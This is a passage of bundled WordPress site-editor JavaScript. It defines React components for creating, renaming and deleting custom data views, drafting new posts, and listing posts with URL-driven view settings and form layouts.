path
} = add_new_view_useLocation();
const {
saveEntityRecord
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)('');
const [isSaving, setIsSaving] = (0,external_wp_element_namespaceObject.useState)(false);
const defaultViews = useDefaultViews({
postType: type
});
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
onSubmit: async event => {
event.preventDefault();
setIsSaving(true);
const {
getEntityRecords
} = (0,external_wp_data_namespaceObject.resolveSelect)(external_wp_coreData_namespaceObject.store);
let dataViewTaxonomyId;
const dataViewTypeRecords = await getEntityRecords('taxonomy', 'wp_dataviews_type', {
slug: type
});
if (dataViewTypeRecords && dataViewTypeRecords.length > 0) {
dataViewTaxonomyId = dataViewTypeRecords[0].id;
} else {
const record = await saveEntityRecord('taxonomy', 'wp_dataviews_type', {
name: type
});
if (record && record.id) {
dataViewTaxonomyId = record.id;
}
}
const savedRecord = await saveEntityRecord('postType', 'wp_dataviews', {
title,
status: 'publish',
wp_dataviews_type: dataViewTaxonomyId,
content: JSON.stringify(defaultViews[0].view)
});
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
activeView: savedRecord.id,
isCustom: 'true'
}));
setIsSaving(false);
setIsAdding(false);
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: "5",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
__next40pxDefaultSize: true,
__nextHasNoMarginBottom: true,
label: (0,external_wp_i18n_namespaceObject.__)('Name'),
value: title,
onChange: setTitle,
placeholder: (0,external_wp_i18n_namespaceObject.__)('My view'),
className: "patterns-create-modal__name-input"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "right",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "tertiary",
onClick: () => {
setIsAdding(false);
},
children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "primary",
type: "submit",
"aria-disabled": !title || isSaving,
isBusy: isSaving,
children: (0,external_wp_i18n_namespaceObject.__)('Create')
})]
})]
})
});
}
function AddNewItem({
type
}) {
const [isAdding, setIsAdding] = (0,external_wp_element_namespaceObject.useState)(false);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationItem, {
icon: library_plus,
onClick: () => {
setIsAdding(true);
},
className: "dataviews__siderbar-content-add-new-item",
children: (0,external_wp_i18n_namespaceObject.__)('New view')
}), isAdding && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
title: (0,external_wp_i18n_namespaceObject.__)('Add new view'),
onRequestClose: () => {
setIsAdding(false);
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddNewItemModalContent, {
type: type,
setIsAdding: setIsAdding
})
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/custom-dataviews-list.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useHistory: custom_dataviews_list_useHistory,
useLocation: custom_dataviews_list_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
const custom_dataviews_list_EMPTY_ARRAY = [];
function RenameItemModalContent({
dataviewId,
currentTitle,
setIsRenaming
}) {
const {
editEntityRecord
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)(currentTitle);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
onSubmit: async event => {
event.preventDefault();
await editEntityRecord('postType', 'wp_dataviews', dataviewId, {
title
});
setIsRenaming(false);
},
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: "5",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
__next40pxDefaultSize: true,
__nextHasNoMarginBottom: true,
label: (0,external_wp_i18n_namespaceObject.__)('Name'),
value: title,
onChange: setTitle,
placeholder: (0,external_wp_i18n_namespaceObject.__)('My view'),
className: "patterns-create-modal__name-input"
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
justify: "right",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
variant: "tertiary",
__next40pxDefaultSize: true,
onClick: () => {
setIsRenaming(false);
},
children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
variant: "primary",
type: "submit",
"aria-disabled": !title,
__next40pxDefaultSize: true,
children: (0,external_wp_i18n_namespaceObject.__)('Save')
})]
})]
})
});
}
function CustomDataViewItem({
dataviewId,
isActive
}) {
const history = custom_dataviews_list_useHistory();
const location = custom_dataviews_list_useLocation();
const {
dataview
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEditedEntityRecord
} = select(external_wp_coreData_namespaceObject.store);
return {
dataview: getEditedEntityRecord('postType', 'wp_dataviews', dataviewId)
};
}, [dataviewId]);
const {
deleteEntityRecord
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const type = (0,external_wp_element_namespaceObject.useMemo)(() => {
const viewContent = JSON.parse(dataview.content);
return viewContent.type;
}, [dataview.content]);
const [isRenaming, setIsRenaming] = (0,external_wp_element_namespaceObject.useState)(false);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewItem, {
title: dataview.title,
type: type,
isActive: isActive,
isCustom: true,
customViewId: dataviewId,
suffix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropdownMenu, {
icon: more_vertical,
label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
className: "edit-site-sidebar-dataviews-dataview-item__dropdown-menu",
toggleProps: {
style: {
color: 'inherit'
},
size: 'small'
},
children: ({
onClose
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: () => {
setIsRenaming(true);
onClose();
},
children: (0,external_wp_i18n_namespaceObject.__)('Rename')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
onClick: async () => {
await deleteEntityRecord('postType', 'wp_dataviews', dataview.id, {
force: true
});
if (isActive) {
history.replace({
postType: location.query.postType
});
}
onClose();
},
isDestructive: true,
children: (0,external_wp_i18n_namespaceObject.__)('Delete')
})]
})
})
}), isRenaming && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
title: (0,external_wp_i18n_namespaceObject.__)('Rename'),
onRequestClose: () => {
setIsRenaming(false);
},
focusOnMount: "firstContentElement",
size: "small",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(RenameItemModalContent, {
dataviewId: dataviewId,
setIsRenaming: setIsRenaming,
currentTitle: dataview.title
})
})]
});
}
function useCustomDataViews(type) {
const customDataViews = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getEntityRecords
} = select(external_wp_coreData_namespaceObject.store);
const dataViewTypeRecords = getEntityRecords('taxonomy', 'wp_dataviews_type', {
slug: type
});
if (!dataViewTypeRecords || dataViewTypeRecords.length === 0) {
return custom_dataviews_list_EMPTY_ARRAY;
}
const dataViews = getEntityRecords('postType', 'wp_dataviews', {
wp_dataviews_type: dataViewTypeRecords[0].id,
orderby: 'date',
order: 'asc'
});
if (!dataViews) {
return custom_dataviews_list_EMPTY_ARRAY;
}
return dataViews;
});
return customDataViews;
}
function CustomDataViewsList({
type,
activeView,
isCustom
}) {
const customDataViews = useCustomDataViews(type);
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "edit-site-sidebar-navigation-screen-dataviews__group-header",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
level: 2,
children: (0,external_wp_i18n_namespaceObject.__)('Custom Views')
})
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
className: "edit-site-sidebar-navigation-screen-dataviews__custom-items",
children: [customDataViews.map(customViewRecord => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CustomDataViewItem, {
dataviewId: customViewRecord.id,
isActive: isCustom && Number(activeView) === customViewRecord.id
}, customViewRecord.id);
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddNewItem, {
type: type
})]
})]
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/sidebar-dataviews/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
useLocation: sidebar_dataviews_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function DataViewsSidebarContent({
postType
}) {
const {
query: {
activeView = 'all',
isCustom = 'false'
}
} = sidebar_dataviews_useLocation();
const defaultViews = useDefaultViews({
postType
});
if (!postType) {
return null;
}
const isCustomBoolean = isCustom === 'true';
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
className: "edit-site-sidebar-dataviews",
children: defaultViews.map(dataview => {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViewItem, {
slug: dataview.slug,
title: dataview.title,
icon: dataview.icon,
type: dataview.view.type,
isActive: !isCustomBoolean && dataview.slug === activeView,
isCustom: false
}, dataview.slug);
})
}), window?.__experimentalCustomViews && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CustomDataViewsList, {
activeView: activeView,
type: postType,
isCustom: true
})]
});
}
;// ./node_modules/@wordpress/icons/build-module/library/drawer-right.js
/**
* WordPress dependencies
*/
const drawerRight = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
width: "24",
height: "24",
xmlns: "http://www.w3.org/2000/svg",
viewBox: "0 0 24 24",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
fillRule: "evenodd",
clipRule: "evenodd",
d: "M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4 14.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h8v13zm4.5-.5c0 .3-.2.5-.5.5h-2.5v-13H18c.3 0 .5.2.5.5v12z"
})
});
/* harmony default export */ const drawer_right = (drawerRight);
;// ./node_modules/@wordpress/edit-site/build-module/components/add-new-post/index.js
/**
* WordPress dependencies
*/
function AddNewPostModal({
postType,
onSave,
onClose
}) {
const labels = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getPostType(postType)?.labels, [postType]);
const [isCreatingPost, setIsCreatingPost] = (0,external_wp_element_namespaceObject.useState)(false);
const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)('');
const {
saveEntityRecord
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const {
createErrorNotice,
createSuccessNotice
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
const {
resolveSelect
} = (0,external_wp_data_namespaceObject.useRegistry)();
async function createPost(event) {
event.preventDefault();
if (isCreatingPost) {
return;
}
setIsCreatingPost(true);
try {
const postTypeObject = await resolveSelect(external_wp_coreData_namespaceObject.store).getPostType(postType);
const newPage = await saveEntityRecord('postType', postType, {
status: 'draft',
title,
slug: title !== null && title !== void 0 ? title : undefined,
content: !!postTypeObject.template && postTypeObject.template.length ? (0,external_wp_blocks_namespaceObject.serialize)((0,external_wp_blocks_namespaceObject.synchronizeBlocksWithTemplate)([], postTypeObject.template)) : undefined
}, {
throwOnError: true
});
onSave(newPage);
createSuccessNotice((0,external_wp_i18n_namespaceObject.sprintf)(
// translators: %s: Title of the created post or template, e.g: "Hello world".
(0,external_wp_i18n_namespaceObject.__)('"%s" successfully created.'), (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(newPage.title?.rendered || title)), {
type: 'snackbar'
});
} catch (error) {
const errorMessage = error.message && error.code !== 'unknown_error' ? error.message : (0,external_wp_i18n_namespaceObject.__)('An error occurred while creating the item.');
createErrorNotice(errorMessage, {
type: 'snackbar'
});
} finally {
setIsCreatingPost(false);
}
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
title:
// translators: %s: post type singular_name label e.g: "Page".
(0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)('Draft new: %s'), labels?.singular_name),
onRequestClose: onClose,
focusOnMount: "firstContentElement",
size: "small",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
onSubmit: createPost,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
spacing: 4,
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
__next40pxDefaultSize: true,
__nextHasNoMarginBottom: true,
label: (0,external_wp_i18n_namespaceObject.__)('Title'),
onChange: setTitle,
placeholder: (0,external_wp_i18n_namespaceObject.__)('No title'),
value: title
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
spacing: 2,
justify: "end",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "tertiary",
onClick: onClose,
children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
__next40pxDefaultSize: true,
variant: "primary",
type: "submit",
isBusy: isCreatingPost,
"aria-disabled": isCreatingPost,
children: (0,external_wp_i18n_namespaceObject.__)('Create draft')
})]
})]
})
})
});
}
;// ./node_modules/@wordpress/edit-site/build-module/components/post-list/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const {
usePostActions: post_list_usePostActions,
usePostFields
} = unlock(external_wp_editor_namespaceObject.privateApis);
const {
useLocation: post_list_useLocation,
useHistory: post_list_useHistory
} = unlock(external_wp_router_namespaceObject.privateApis);
const {
useEntityRecordsWithPermissions: post_list_useEntityRecordsWithPermissions
} = unlock(external_wp_coreData_namespaceObject.privateApis);
const post_list_EMPTY_ARRAY = [];
const getDefaultView = (defaultViews, activeView) => {
return defaultViews.find(({
slug
}) => slug === activeView)?.view;
};
const getCustomView = editedEntityRecord => {
if (!editedEntityRecord?.content) {
return undefined;
}
const content = JSON.parse(editedEntityRecord.content);
if (!content) {
return undefined;
}
return {
...content,
...default_views_defaultLayouts[content.type]
};
};
/**
* This function abstracts working with default & custom views by
* providing a [ state, setState ] tuple based on the URL parameters.
*
* Consumers use the provided tuple to work with state
* and don't have to deal with the specifics of default & custom views.
*
* @param {string} postType Post type to retrieve default views for.
* @return {Array} The [ state, setState ] tuple.
*/
function useView(postType) {
const {
path,
query: {
activeView = 'all',
isCustom = 'false',
layout
}
} = post_list_useLocation();
const history = post_list_useHistory();
const defaultViews = useDefaultViews({
postType
});
const {
editEntityRecord
} = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
const editedEntityRecord = (0,external_wp_data_namespaceObject.useSelect)(select => {
if (isCustom !== 'true') {
return undefined;
}
const {
getEditedEntityRecord
} = select(external_wp_coreData_namespaceObject.store);
return getEditedEntityRecord('postType', 'wp_dataviews', Number(activeView));
}, [activeView, isCustom]);
const [view, setView] = (0,external_wp_element_namespaceObject.useState)(() => {
let initialView;
if (isCustom === 'true') {
var _getCustomView;
initialView = (_getCustomView = getCustomView(editedEntityRecord)) !== null && _getCustomView !== void 0 ? _getCustomView : {
type: layout !== null && layout !== void 0 ? layout : LAYOUT_LIST
};
} else {
var _getDefaultView;
initialView = (_getDefaultView = getDefaultView(defaultViews, activeView)) !== null && _getDefaultView !== void 0 ? _getDefaultView : {
type: layout !== null && layout !== void 0 ? layout : LAYOUT_LIST
};
}
const type = layout !== null && layout !== void 0 ? layout : initialView.type;
return {
...initialView,
type,
...default_views_defaultLayouts[type]
};
});
const setViewWithUrlUpdate = (0,external_wp_compose_namespaceObject.useEvent)(newView => {
setView(newView);
if (isCustom === 'true' && editedEntityRecord?.id) {
editEntityRecord('postType', 'wp_dataviews', editedEntityRecord?.id, {
content: JSON.stringify(newView)
});
}
const currentUrlLayout = layout !== null && layout !== void 0 ? layout : LAYOUT_LIST;
if (newView.type !== currentUrlLayout) {
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(path, {
layout: newView.type
}));
}
});
// When layout URL param changes, update the view type
// without affecting any other config.
const onUrlLayoutChange = (0,external_wp_compose_namespaceObject.useEvent)(() => {
setView(prevView => {
const newType = layout !== null && layout !== void 0 ? layout : LAYOUT_LIST;
if (newType === prevView.type) {
return prevView;
}
return {
...prevView,
type: newType,
...default_views_defaultLayouts[newType]
};
});
});
(0,external_wp_element_namespaceObject.useEffect)(() => {
onUrlLayoutChange();
}, [onUrlLayoutChange, layout]);
// When activeView or isCustom URL parameters change, reset the view.
const onUrlActiveViewChange = (0,external_wp_compose_namespaceObject.useEvent)(() => {
let newView;
if (isCustom === 'true') {
newView = getCustomView(editedEntityRecord);
} else {
newView = getDefaultView(defaultViews, activeView);
}
if (newView) {
const type = layout !== null && layout !== void 0 ? layout : newView.type;
setView({
...newView,
type,
...default_views_defaultLayouts[type]
});
}
});
(0,external_wp_element_namespaceObject.useEffect)(() => {
onUrlActiveViewChange();
}, [onUrlActiveViewChange, activeView, isCustom, defaultViews, editedEntityRecord]);
return [view, setViewWithUrlUpdate];
}
const DEFAULT_STATUSES = 'draft,future,pending,private,publish'; // All but 'trash'.
function getItemId(item) {
return item.id.toString();
}
function getItemLevel(item) {
return item.level;
}
function PostList({
postType
}) {
var _postId$split, _data$map, _usePrevious;
const [view, setView] = useView(postType);
const defaultViews = useDefaultViews({
postType
});
const history = post_list_useHistory();
const location = post_list_useLocation();
const {
postId,
quickEdit = false,
isCustom,
activeView = 'all'
} = location.query;
const [selection, setSelection] = (0,external_wp_element_namespaceObject.useState)((_postId$split = postId?.split(',')) !== null && _postId$split !== void 0 ? _postId$split : []);
const onChangeSelection = (0,external_wp_element_namespaceObject.useCallback)(items => {
var _location$query$isCus;
setSelection(items);
if (((_location$query$isCus = location.query.isCustom) !== null && _location$query$isCus !== void 0 ? _location$query$isCus : 'false') === 'false') {
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(location.path, {
postId: items.join(',')
}));
}
}, [location.path, location.query.isCustom, history]);
const getActiveViewFilters = (views, match) => {
var _found$filters;
const found = views.find(({
slug
}) => slug === match);
return (_found$filters = found?.filters) !== null && _found$filters !== void 0 ? _found$filters : [];
};
const {
isLoading: isLoadingFields,
fields: _fields
} = usePostFields({
postType
});
const fields = (0,external_wp_element_namespaceObject.useMemo)(() => {
const activeViewFilters = getActiveViewFilters(defaultViews, activeView).map(({
field
}) => field);
return _fields.map(field => ({
...field,
elements: activeViewFilters.includes(field.id) ? [] : field.elements
}));
}, [_fields, defaultViews, activeView]);
const queryArgs = (0,external_wp_element_namespaceObject.useMemo)(() => {
const filters = {};
view.filters?.forEach(filter => {
if (filter.field === 'status' && filter.operator === OPERATOR_IS_ANY) {
filters.status = filter.value;
}
if (filter.field === 'author' && filter.operator === OPERATOR_IS_ANY) {
filters.author = filter.value;
} else if (filter.field === 'author' && filter.operator === OPERATOR_IS_NONE) {
filters.author_exclude = filter.value;
}
});
// The bundled views want data filtered without displaying the filter.
const activeViewFilters = getActiveViewFilters(defaultViews, activeView);
activeViewFilters.forEach(filter => {
if (filter.field === 'status' && filter.operator === OPERATOR_IS_ANY) {
filters.status = filter.value;
}
if (filter.field === 'author' && filter.operator === OPERATOR_IS_ANY) {
filters.author = filter.value;
} else if (filter.field === 'author' && filter.operator === OPERATOR_IS_NONE) {
filters.author_exclude = filter.value;
}
});
// We want to provide a different default item for the status filter
// than the REST API provides.
if (!filters.status || filters.status === '') {
filters.status = DEFAULT_STATUSES;
}
return {
per_page: view.perPage,
page: view.page,
_embed: 'author',
order: view.sort?.direction,
orderby: view.sort?.field,
orderby_hierarchy: !!view.showLevels,
search: view.search,
...filters
};
}, [view, activeView, defaultViews]);
const {
records,
isResolving: isLoadingData,
totalItems,
totalPages
} = post_list_useEntityRecordsWithPermissions('postType', postType, queryArgs);
// The REST API sort the authors by ID, but we want to sort them by name.
const data = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (!isLoadingFields && view?.sort?.field === 'author') {
return filterSortAndPaginate(records, {
sort: {
...view.sort
}
}, fields).data;
}
return records;
}, [records, fields, isLoadingFields, view?.sort]);
const ids = (_data$map = data?.map(record => getItemId(record))) !== null && _data$map !== void 0 ? _data$map : [];
const prevIds = (_usePrevious = (0,external_wp_compose_namespaceObject.usePrevious)(ids)) !== null && _usePrevious !== void 0 ? _usePrevious : [];
const deletedIds = prevIds.filter(id => !ids.includes(id));
const postIdWasDeleted = deletedIds.includes(postId);
(0,external_wp_element_namespaceObject.useEffect)(() => {
if (postIdWasDeleted) {
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(location.path, {
postId: undefined
}));
}
}, [history, postIdWasDeleted, location.path]);
const paginationInfo = (0,external_wp_element_namespaceObject.useMemo)(() => ({
totalItems,
totalPages
}), [totalItems, totalPages]);
const {
labels,
canCreateRecord
} = (0,external_wp_data_namespaceObject.useSelect)(select => {
const {
getPostType,
canUser
} = select(external_wp_coreData_namespaceObject.store);
return {
labels: getPostType(postType)?.labels,
canCreateRecord: canUser('create', {
kind: 'postType',
name: postType
})
};
}, [postType]);
const postTypeActions = post_list_usePostActions({
postType,
context: 'list'
});
const editAction = useEditPostAction();
const actions = (0,external_wp_element_namespaceObject.useMemo)(() => [editAction, ...postTypeActions], [postTypeActions, editAction]);
const [showAddPostModal, setShowAddPostModal] = (0,external_wp_element_namespaceObject.useState)(false);
const openModal = () => setShowAddPostModal(true);
const closeModal = () => setShowAddPostModal(false);
const handleNewPage = ({
type,
id
}) => {
history.navigate(`/${type}/${id}?canvas=edit`);
closeModal();
};
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(Page, {
title: labels?.name,
actions: labels?.add_new_item && canCreateRecord && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
variant: "primary",
onClick: openModal,
__next40pxDefaultSize: true,
children: labels.add_new_item
}), showAddPostModal && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(AddNewPostModal, {
postType: postType,
onSave: handleNewPage,
onClose: closeModal
})]
}),
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataViews, {
paginationInfo: paginationInfo,
fields: fields,
actions: actions,
data: data || post_list_EMPTY_ARRAY,
isLoading: isLoadingData || isLoadingFields,
view: view,
onChangeView: setView,
selection: selection,
onChangeSelection: onChangeSelection,
isItemClickable: item => item.status !== 'trash',
onClickItem: ({
id
}) => {
history.navigate(`/${postType}/${id}?canvas=edit`);
},
getItemId: getItemId,
getItemLevel: getItemLevel,
defaultLayouts: default_views_defaultLayouts,
header: window.__experimentalQuickEditDataViews && view.type !== LAYOUT_LIST && postType === 'page' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
size: "compact",
isPressed: quickEdit,
icon: drawer_right,
label: (0,external_wp_i18n_namespaceObject.__)('Details'),
onClick: () => {
history.navigate((0,external_wp_url_namespaceObject.addQueryArgs)(location.path, {
quickEdit: quickEdit ? undefined : true
}));
}
})
}, activeView + isCustom)
});
}
;// ./node_modules/@wordpress/dataviews/build-module/components/dataform-context/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
const DataFormContext = (0,external_wp_element_namespaceObject.createContext)({
fields: []
});
function DataFormProvider({
fields,
children
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormContext.Provider, {
value: {
fields
},
children: children
});
}
/* harmony default export */ const dataform_context = (DataFormContext);
;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/is-combined-field.js
/**
* Internal dependencies
*/
function isCombinedField(field) {
return field.children !== undefined;
}
;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/regular/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function regular_Header({
title
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "dataforms-layouts-regular__header",
spacing: 4,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
alignment: "center",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHeading, {
level: 2,
size: 13,
children: title
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, {})]
})
});
}
function FormRegularField({
data,
field,
onChange,
hideLabelFromVision
}) {
var _field$labelPosition;
const {
fields
} = (0,external_wp_element_namespaceObject.useContext)(dataform_context);
const form = (0,external_wp_element_namespaceObject.useMemo)(() => {
if (isCombinedField(field)) {
return {
fields: field.children.map(child => {
if (typeof child === 'string') {
return {
id: child
};
}
return child;
}),
type: 'regular'
};
}
return {
type: 'regular',
fields: []
};
}, [field]);
if (isCombinedField(field)) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
children: [!hideLabelFromVision && field.label && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(regular_Header, {
title: field.label
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(DataFormLayout, {
data: data,
form: form,
onChange: onChange
})]
});
}
const labelPosition = (_field$labelPosition = field.labelPosition) !== null && _field$labelPosition !== void 0 ? _field$labelPosition : 'top';
const fieldDefinition = fields.find(fieldDef => fieldDef.id === field.id);
if (!fieldDefinition) {
return null;
}
if (labelPosition === 'side') {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
className: "dataforms-layouts-regular__field",
children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataforms-layouts-regular__field-label",
children: fieldDefinition.label
}), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataforms-layouts-regular__field-control",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(fieldDefinition.Edit, {
data: data,
field: fieldDefinition,
onChange: onChange,
hideLabelFromVision: true
}, fieldDefinition.id)
})]
});
}
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
className: "dataforms-layouts-regular__field",
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(fieldDefinition.Edit, {
data: data,
field: fieldDefinition,
onChange: onChange,
hideLabelFromVision: labelPosition === 'none' ? true : hideLabelFromVision
})
});
}
;// ./node_modules/@wordpress/dataviews/build-module/dataforms-layouts/panel/index.js
/**
* WordPress dependencies
*/
/**
* Internal dependencies
*/
function DropdownHeader({
title,
onClose
}) {
return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
className: "dataforms-layouts-panel__dropdown-header",
spacing: 4,
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
alignment: "center",
